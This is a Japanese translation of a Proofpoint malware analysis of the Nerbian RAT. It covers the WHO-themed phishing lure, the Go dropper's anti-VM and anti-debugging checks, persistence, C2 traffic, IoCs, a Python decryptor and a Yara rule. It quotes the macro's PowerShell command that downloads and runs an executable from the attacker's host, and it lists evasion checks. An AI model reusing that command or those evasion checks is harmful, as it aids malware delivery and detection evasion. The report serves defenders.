主なポイント
- プルーフポイントは、非常に洗練されたアンチ解析およびアンチリバースエンジニアリング機能を利用した新しいマルウェアの亜種を解析しました。
- このマルウェアは、プログラミング言語Goで書かれており、複数のオープンソースのGoライブラリを使用して悪意のある活動を行います。
- Nerbian RAT (リモートアクセス型 トロイの木馬)と呼ばれるこのマルウェアは、COVID-19とWHO (世界保健機関)のテーマを利用して拡散します。
- プルーフポイントのリサーチャーは、マルウェアのコードに含まれる関数の名前に基づいて、このマルウェアをNerbian RATと命名しました。Nerbia (ネルビア)は、小説「ドン・キホーテ」に登場する架空の地名です。
概要
新たに確認されたNerbian RATは、複数のオープンソースライブラリを含む、複数のステージにまたがるアンチ解析コンポーネントを活用しています。このRATは、オペレーティングシステム(OS)に依存しないGoプログラミング言語で記述され、64ビットシステム用にコンパイルされ、さらにネットワーク分析を回避するために、いくつかの暗号化ルーチンを活用しています。Goは、その参入障壁の低さと使いやすさから、攻撃者が使用する言語としてますますよく使われるようになっています。
キャンペーンの詳細
2022年4月26日から、プルーフポイントのリサーチャーは、複数の業界に向けて送信された少量(100メッセージ未満)のEメールを用いておこなわれるマルウェアキャンペーンを観測しました。この脅威は、イタリア、スペイン、イギリスの企業に大きな影響を及ぼしています。このEメールは、世界保健機関(WHO)を代表して、COVID-19に関する重要な情報を提供すると称しています。このマルウェアのサンプルは、セキュリティリサーチャーのpr0xylife氏もTwitterで指摘しています。プルーフポイントのリサーチャーは、以下のインジケータと添付ファイルを観察しました。
送信元: who.inter.svc@gmail[.]com, announce@who-international[.]com
メール件名: WHO, World Health Organization
添付ファイルと名前とファイル形式: who_covid19.rar with who_covid19.doc inside, covid19guide.rar with covid19guide.doc inside, covid-19.doc
WHOからのメッセージと称し、COVID-19に関する安全対策を記載したメッセージには、マクロを含むWord文書が添付されています。
図1:WHOを装ったメールの例
図2:添付されたWord文書
メールにはマクロを含んだWordの添付ファイルが含まれています(RARで圧縮されていることもあります)。マクロを有効にすると、文書にはCOVID-19の安全性に関する情報、特に自主隔離とCOVID-19感染者のケアに関する情報が表示されます。興味深いことに、この誘い文句は2020年のパンデミック初期に使われたテーマと似ており、具体的にはWHOになりすまし、ウイルスに関する情報を配信しているのです。
図3:COVID-19のガイダンスを含むドキュメントルアーの画面(ユーザーが不正なドキュメント上でマクロを有効にした際に表示される)
WHOを装うだけでなく、この文書にはHealth Service Executive (HSE), Government of Ireland, National Council for the Blind of Ireland (NCBI) のロゴも含まれています。
図4:政府・非営利団体関連のロゴを追加した資料
攻撃経路
この文書でユーザーがマクロを有効にすると、次の内容の .bat ファイルをドロップする埋め込みマクロが実行されます。
powershell IWR -Uri hxxps://www[.]fernandestechnical[.]com/pub/media/gitlog -OutFile C:\Users\[username]\AppData\Roaming\UpdateUAV.exe ;C:\Users\[username]\AppData\Roaming\UpdateUAV.exe
このバッチファイルは、URLに対してPowerShellのInvoke Web Request(IWR)を実行するものです。
hxxps://www[.]fernandestechnical[.]com/pub/media/gitlog,
ダウンロードしたファイルをUpdateUAV.exeにリネームして、ドロップします。
C:\Users\[current user]\AppData\Roaming\UpdateUAV.exe.
ドロッパー: UpdateUAV.exe
UpdateUAV.exeは、悪意のあるWord文書から最初にダウンロードされたペイロードです。これは64ビットの実行ファイルで、Golangで書かれており、サイズは3.5MBで、UPXでパックされています。Go言語で作成された実行可能ファイルは、他の多くの実行可能ファイルよりも若干大きくなる傾向があります。おそらく、このマルウェアは、ダウンロードされる実行ファイルのサイズを全体的に縮小するためにUPXでパックしていると考えられます。解凍すると、このファイルは合計で6.6MBになります。
図5:UpdateUAV.exeのペイロードはUPXでパックされており、おそらくサイズを小さくするための工夫が施されています
プルーフポイントのアナリストは、実行中に復号化されたデータを抽出しました。その結果、メモリからサンプルに関する追加情報が判明しました。
機能性
UpdateUAV.exe は Nerbian RAT 用のドロッパーです。この判断は、複数の異なる観察によってなされました。まず、サンプルに埋め込まれている文字列です。
K:/W_Work/Golang/src/RAT_Dropper/main_gen.go
ソースパスによると、この実行ファイルはドロッパーです。Proofpointは、ドロッパーの関数名の1つに基づいて、このマルウェアを「Nerbian RAT」と名付けました。具体的な関数名は、次の図に示すように、「main_downloadNerbian」です。
図6:Nerbian RATのメイン ファンクション コード
バイナリに散在するGo関数の一部には、さらに「Nerbian」への言及があります。
図7:ドロッパーがダウンロードし、感染したシステム上に保存することを意図したRATを参照する機能
コードの再利用
マルウェア開発者を含め、ほとんどのソフトウェア開発者は、既存のソフトウェアパッケージを利用しています。Nerbian RATのドロッパーであるUpdateUAVの実行ファイルには、GitHubの様々なプロジェクトを参照する文字列があり、コードの再利用が多く見られるのが特徴です。
github.com/go-ole/go-ole – Go bindings for Windows COM (Component Object Model – inter-process communication)
github.com/gonutz/w32/v2 – Go bindings for the Win32 API
github.com/mitchellh/go-ps – Library implements OS-specific APIs to list and manipulate processes
github.com/StackExchange/wmi – Go package for Windows WMI, providing a WQL interface
これらの外部プロジェクトに関する言及の中で、最も興味深いのは、以下の点です。
github.com/p3tr0v/chacal/
アンチデバッグ、アンチVM、アンチフォレンジック
図8:ChacalのGitHubページ
ChacalのGitHubページでは、「Red TeamとPentestersのためのGolangアンチVMフレームワーク」と説明されています。しかし、このプロジェクトには、デバッグやリバースエンジニアリングをより困難にするための機能やリファレンスがいくつかあります。
ドロッパーは、以下のいずれかの条件に遭遇した場合、実行を停止します。
- システム上のハードディスクのサイズが一定以下である(Chacalで定義されているデフォルトは100GB)
- WMIを用いて問い合わせた際、ハードディスクの名前に以下の文字列のいずれかが含まれている:
- "virtual"
- "vbox"
- "vmware"
- MACアドレスを問い合わせた際に、以下のOUI値のいずれかを返す:
- 00:0c:29, 00:50:56, 08:00:27, 52:54:00, 00:21:F6, 00:14:4F, 00:0F:4B, 00:10:E0, 00:00:7D, 00:21:28, 00:01:5D, 00:21:F6, 00:A0:A4, 00:07:82, 00:03:BA, 08:00:20, 2C:C2:60, 00:10:4F, 00:0F:4B, 00:13:97, 00:20:F2, 00:14:4F
- プロセスリストに、以下のリバースエンジニアリング/デバッグプログラムのいずれかが存在する:
- processhacker.exe, procmon.exe, pestudio.exe, procmon64.exe, x32dbg.exe, x64dbg.exe, CFF Explorer.exe, procexp64.exe, procexp.exe, pslist.exe, tcpview.exe, tcpvcon.exe, dbgview.exe, RAMMap.exe, RAMMap64.exe, vmmap.exe, ollydbg.exe, agent.py, autoruns.exe, autorunsc.exe, filemon.exe, regmon.exe, idaq.exe, idaq64.exe, ImmunityDebugger.exe, Wireshark.exe, dumpcap.exe, HookExplorer.exe, ImportREC.exe, PETools.exe, LordPE.exe, SysInspector.exe, proc_analyzer.exe, sysAnalyzer.exe, sniff_hit.exe, windbg.exe, joeboxcontrol.exe, joeboxserver.exe, joeboxserver.exe, ResourceHacker.exe, Fiddler.exe, httpdebugger.exe
- プロセスリストに、以下のメモリ解析/メモリ改ざんプログラムのいずれかが存在する:
- DumpIt.exe, RAMMap.exe, RAMMap64.exe, vmmap.exe
- 特定の関数の実行時間が「過大」と判断されるかどうかを時間計測機能でチェックし、閾値に達した場合、マルウェアはデバッグ中であると判断し、終了する
Chacalが提供するアンチリバースのチェック機能に加え、バイナリには以下のようなアンチ分析のチェックが存在します:
- IsDebuggerPresent API を使用して、実行ファイルがデバッグ中であるかどうかを判断
- 以下のネットワークインターフェース名を問い合わせ:
- Intel® PRO/1000 MT Network Connection
- Loopback Pseudo-Interface 1
- Software Loopback Interface 1
ダウンロード、実行、そして永続性
今回解析したサンプルでは、ドロッパーは以下からペイロードのダウンロードを試みています:
hxxps://www[.] fernandestechnical [.]com/pub/media/ssl
そして、以下にRATを保存します。
C:\ProgramData\USOShared\MoUsoCore.exe
次に、ドロッパーはMicrosoftMouseCoreWorkという名前のスケジュールされたタスクを確立し、RATペイロードを毎時間開始し、パーシステンスを確立しようとします。
ドロッパーの最終目標は、SSLという実行ファイルをダウンロードし、MoUsoCore.exeとして保存し、それを主要な持続性メカニズムとして毎時実行するようにスケジュール・タスクを構成することです。
ペイロード - MoUsoCore.exe
MoUsoCore.exeは、ドロッパーのバイナリであるUpdateUAV.exeがダウンロードし、その永続性を確立しようとするペイロードの名前です。ドロッパー自身と同様に、これはGoで書かれており、UPXでパックされています。パックされた状態のバイナリのサイズは5.6MBで、パックされていない状態のバイナリは9.2MBです。
機能およびコンフィギュレーション設定
Nerbian RATは、さまざまな機能をサポートしているようですが、そのほとんどはバイナリ自体の暗号化された構成設定によって決定されます。プルーフポイントは、このサンプルが利用するさまざまな構成設定を確認しました。
"185.121.139[.]249"
https://www[.]fernandestechnical[.]com/pub/health_check.php
8ffe450597cbbfa5a703e23a8b6bbdaeda76badf2b035e75de5ffdb3af07270d
"100"
\\\\ProgramData\\\\Microsoft OneDrive\\\\setup
"rev.sav"
===Configuration===
default_communication_protocol: %s
default_conn_interval: %d
b_use_alive_signal: %t
start_worktime: %d
end_worktime: %d
alive_interval: %d
b_use_secondary_host: %t
b_use_sleep_filetransfer: %t
time_sleep_filetransfer: %d
retry_count_filetransfer: %d
connection_error_sleep_time: %d
bpreflaged_use_backupserver: %t
flagged_time_backupserver: %s
switch_backupserver_time: %d
primary_host: %s
secondary_host: %s
primary_http_proxyserver: %s
secondary_http_proxyserver: %s
working_directory: %s
b_run_cmd_result_outfile: %t
idle_state_limit_time: %d
st:%d
nt: %d
これらの文字列の多くは、マルウェアが通信するホスト、C2ドメインやIPアドレスにキープアライブメッセージでチェックインする頻度、マルウェアが好む作業ディレクトリ、動作時間などの動作パラメータの設定に関係するものであり、その他のパラメータもあります。
185[.]121[.]139[.]249とhxxps://www[.]fernandestechnical[.]com/pub/health_check.phpは、C2バックアップドメインおよびキープアライブやチェックインのためのURIとして指定されている可能性が高いです。
キーロギング
このRATはキーストロークを記録する機能を持ち、上記の設定にあるrev.savファイルに暗号化して書き込んでいるようです。
スクリーンキャプチャ
ドロッパーとは異なり、RATはその機能の多くを実行するために、既存の多くのGoコードを利用します:
github.com/lxn/win
github.com/go-ole/go-ole
github.com/StackExchange/wmi
github.com/digitalocean/go-smbios/smbios
github.com/AllenDang/w32.init
繰り返しになりますが、この中で、より興味深い外部参照先として、以下のGitHubのレポジトリがあります:
github.com/kbinani/screenshot/
このレポジトリは、様々な異なるオペレーティングシステムでスクリーンキャプチャを実行するためのGoライブラリです。
C2 通信
最近のほとんどのマルウェア・ファミリーと同様、このRATはSSLを使った通信を好んで行います。プルーフポイント社は、2種類のネットワークトラフィックを観測しました。1つ目は、C2ドメイン/IPアドレスへの単純なハートビート/キープアライブの通信です。
図9:C2ドメイン/IPアドレスへのハートビート/キープアライブトラフィック (/pub/health_check.phpの末尾にある余分な "p "は無視してください)
さらに、設定されたC2ドメインとIPアドレスへのPOSTリクエストが観測され、リクエストの中に大量のHTTPフォームデータがアップロードされていることが確認されました。
図 10: この POST リクエストの各フォームの Content-Disposition フィールドに異なる名前があることに注意してください。
C2 の通信が HTTP か HTTPS かに関わらず、これらのデータはすべて base64 でエンコードされ、暗号化されています。
C2サーバーに投稿されるフォームデータ名は以下の通りです。
addr_post – 投稿先のIP アドレス
port_post – 投稿先のネットワークポート
auth_post – C2通信の初期化後に使用されるセッションごとの暗号化キーまたはパスワードの可能性が高い
session_key – 暗号化されていない唯一のフィールド。これは一種のキャンペーン識別子として機能する文字列、SMBIOS Golangモジュール経由で取得した値のハッシュ、およびC2サーバーと会話するシステムのオペレーティングシステムの指定(この場合、「Windows」)を組み合わせたもの
data_post – 被害者ホストから流出したデータ
session_key フォームデータフィールドを除く上記のすべてのフィールドは、独自の暗号化スキームを使用しています。POSTの最初の70バイトは「ゴミ」であり、次の24バイトには残りのデータを復号するために使用できるAESキーが含まれています。プルーフポイントのリサーチャーは、このPOSTデータを復号化するためのPythonスクリプトを開発しました:
import malduck
import binascii
data = "BgxxweBaPoZVPcfLoQFSHMfqqeitJaZjoSKOBrhsCxtDMYGxPUHsKYcXetaTSJaSULtqZQAwoDiTrCtDpVKvaLxjZPSLcLBvlyREEguzuO0Z8119x2/7cc2XoU2w=="
def decrypt_post_param(base64_encoded_content):
junk = base64_encoded_content[:70]
key = base64_encoded_content[70:70+32]
print("[+] key: %s" % key)
crypted_data = base64_encoded_content[70+32:].encode("utf-8")
base64_decoded = malduck.base64.decode(crypted_data)
iv = key[:16].encode("utf-8")
full_data = base64_decoded
print("[+] crypted data [%d]: %s" % (len(full_data), binascii.hexlify(full_data)))
return malduck.aes.cbc.decrypt(key.encode("utf-8"), iv, full_data)
print(decrypt_post_param(data))
図11:投稿データの復号化用Pythonスクリプト
上記のコードを使用すると、ユーザーは投稿されたデータを復号化することができます。この例では、Proofpointは内部サンドボックスで実行されたaddr_postフィールドのbase64エンコードされたデータを復号化することを選択しました。ユーザーは、data変数を復号化したいbase64エンコードされたブロックに置き換えるか、入力を受け入れるようにスクリプトを変更する必要があります。
しかし、前述のとおり、session_key フィールドは暗号化されておらず、base64 でエンコードされています。このフィールドは何を含んでいるのでしょうか?
図12:session_keyフィールドの値は、base64エンコードされた3つの値を含む、単なる連結文字列
From Base64レシピでCyberchefに送信する場合、base64エンコードされた文字列
OGZmZTQ1MDU5N2NiYmZhNWE3MDNlMjNhOGI2YmJkYWVkYTc2YmFkZjJiMDM1ZTc1ZGU1ZmZkYjNhZjA3MjcwZDoyNWI0ZWJjYTRiYmM4MmFiNWFlMmU1MTdjMjlkMzNlNzp3aW5kb3dz
以下のデコードされる:
8ffe450597cbbfa5a703e23a8b6bbdaeda76badf2b035e75de5ffdb3af07270d:25b4ebca4bbc82ab5ae2e517c29d33e7:windows
この文字列には、3つの値が含まれており、「:」文字で区切られ、連結されています。Proofpointは、最初の値である8ffe450597cbbfa5a703e23a8b6bda76badf2b035e75de5ffdb3af07270dは何らかのインプラントまたはキャンペーン識別子、25b4ebca4bbc82a5a2e517c29d33e7は前述のgo-smbiosライブラリを使って収集したホスト識別子データから得た値、最後の値は感染したホストのOS(Windows)だと評価しています。
図13:Nerbian RATの処理の流れ
アセスメント
このマルウェアは、3つのステージからなる複雑なものです:
- Maldoc フィッシングルアー
- 多種多様な環境チェックを行うドロッパー - アンチリバースやアンチVMのチェックなど
- Nerbian RAT - 暗号化された設定ファイル、C2へのデータ暗号化に細心の注意
このように複雑で、転送中のデータを保護し、侵入したホストを「吟味」するために注意が払われているにもかかわらず、ドロッパーとRAT自体は、サンプルがUPXでパックされている以外、重い難読化処理を採用していません。
さらに、RATとdropperの機能の多くは、GitHubリポジトリを参照する文字列によって容易に推測することができ、特にChacalとスクリーンショットのリポジトリは、dropperとRATの両方の機能の一部を公開しています。
Why Nerbian RAT?なぜNerbian RATなのか?
当初、インターネット上で「Nerbian」に関する記述を見つけるのは困難でしたが、プルーフポイントのアナリストがドン・キホーテの中のこの一節に出会いました。
"だが、目を反対側に向けると、汝は前列と後列に、常勝かつ不敗の軍団を見るであろう。 その軍勢の前方には、常に勝利し、決して敗れることのない、ニュービスケーの王子、カルカホナのティモネルがいる。 ニュービスケーの王子、カルカホナのティモネルである。紺碧、垂直、白、黄色の四つに割った鎧を身にまとい、その盾には 猫、または褐色の地に「Miau」という標語を掲げている。Miauというのは、彼の女性の名前の頭文字である。アルガルヴェのアルフェニケン公爵の娘、無比のミアウリナである。もう一人は、その強力な馬の腰の部分に負担をかけ、押し付けている。 もう一人は、雪のように白い腕と、何の装飾もない真っ白な盾を身につけた、新米の騎士である。もう一人は新米の騎士で、生粋のフランス人、ピエール・パパン。ユトリク男爵領の領主、名前はピエール・パパン。 鉄の靴のかかとで、あの軽快なパルティカラーのシマウマの脇腹を打つ。鉄の靴で軽快なシマウマの脇腹を打ち、紺色のヴェールを腕に持つ者は、ネルビアの強力な公爵である。エスパルタフィラルド・デル・ボスケは、盾にアスパラガスの花とモティーフを描いている。アスパラガスの苗とカスティーリャ語の標語 "Rastrea mi suerte "とある。
Nerbia(ネルビア)は、小説「ドン・キホーテ」に登場する架空の地名です。Nerbia出身の騎士は、アスパラガスの紋章をあしらった盾と「Rastrea mi suerte (運を試せ)」という旗を掲げていました。
図14:プルーフポイントのリサーチャーが作成したイメージ図
ネルビアは小説「ドン・キホーテ」に登場する架空の土地であり、ネルビアの騎士は、"Rastrea Mi Suerte "(運を試せ )というカスティーリャスペインのモットーを持つアスパラガスの紋章の入った盾を身に着けていました。
Nerbiaを参照する文字列の多くは、コンパニオンドロッパー(UpdateUAV.exe)に配置されていました。RATペイロード自体(MoUsoCore.exe)には、Nerbiaへの参照はありません。Proofpointは、ドロッパーとRATの両方が同じエンティティによって作成され、ドロッパーは将来的に異なるペイロードを配信するように変更される可能性がありますが、分析時にこの特定のペイロードをダウンロードして持続性を確立するように静的に構成されていると高い確信を持って評価しています。
IoC (侵害の痕跡 / Indicators of Compromise)
Filename |
covid-19.doc |
MD5 Hash |
f0d3cff26b419aff4acfede637f6d3a2 |
SHA1 Hash |
af6ee983a8e085fec67b19bfa3a0a042658a3740 |
SHA256 Hash |
bb975fed53a9fa18a4234b90ffbd489429ea03a91245dad030fe4053f465ec28 |
Filename |
UpdateUAV.exe |
MD5 Hash |
9cca59eec5af63e42cd845b67cf6df89 |
SHA1 Hash |
af6ee983a8e085fec67b19bfa3a0a042658a3740 |
SHA256 Hash |
bb975fed53a9fa18a4234b90ffbd489429ea03a91245dad030fe4053f465ec28 |
Notes |
Downloaded from hxxps://www[.]fernandestechnical[.]com/pub/media/gitlog via Powershell Invoke Web Request (IWR) to C:\Users\[current_user]\Appdata\Roaming\UpdateUAV.exe |
Filename |
MoUsoCore.exe |
MD5 Hash |
5d5bc970f975341558b8d2c225ca0115 |
SHA1 Hash |
4f74826ed56cda233cfc12b86fd1b7da4a9f2e56 |
SHA256 Hash |
902c65435b6b44cfda1156b0e7c6a30b2785fa4f2cbb9b1944a66f5146ec7aa5 |
Notes |
Downloaded from hxxps://www[.]fernandestechnical[.]com/pub/media/gitlog via Powershell Invoke Web Request (IWR) to C:\Users\[current_user]\Appdata\Roaming\UpdateUAV.exe |
Domain |
www[.]fernandestechnical[.]com |
Notes |
hxxps://www[.]fernandestechnical[.]com/pub/health_check.php |
IP Address |
185[.]121[.]139[.]249 |
Notes |
Additional IP address identified in the Nerbian RAT (MoUsoCore.exe) configuration. |
Detection
Network
Snort and Suricata rules are available in the ETOPEN ruleset under SIDs:
2036426 - ET MALWARE Nerbian RAT CnC Checkin
2036427 - ET MALWARE Nerbian RAT Data Exfiltration
Static
The Yara rule below should provide host-based static detection of the RAT payload:
rule Nerbian_RAT
{
meta:
author = "ptrouerbach"
reference = "5e6c5a9fda2d20125f6f24e37e8a217a39ff0a5cfddc07ddfdb18049d9ea4597"
malfamily = "NerbianRAT"
strings:
$args_p = "p-" ascii
$args_s = "s-" ascii
$args_h = "h-" ascii
$args_P = "P-" ascii
$hardcoded_aes_key = { 17E87F581F1DF8D6129D65FD50CEB3DD6C4E1C223077CD7D4C595DA6C3DF92B2 }
$param_auth = "auth_post" ascii
$param_session = "session_key" ascii
$param_data = "data_post" ascii
$param_addr = "addr_post" ascii
$param_port = "port_post" ascii
condition:
uint16be(0) == 0x4D5A
and ($hardcoded_aes_key or (all of ($param*) and all of ($args*)))
and filesize < 10MB
}
謝辞
プルーフポイントのセキュリティリサーチャーは、セキュリティ研究者のpr0xylife氏がソーシャルメディア上でこの脅威の観測結果を共有してくれたことに感謝します。
※本ブログの情報は、英語による原文「Nerbian RAT Using COVID-19 Themes Features Sophisticated Evasion Techniques」の翻訳です。英語原文との間で内容の齟齬がある場合には、英語原文が優先します。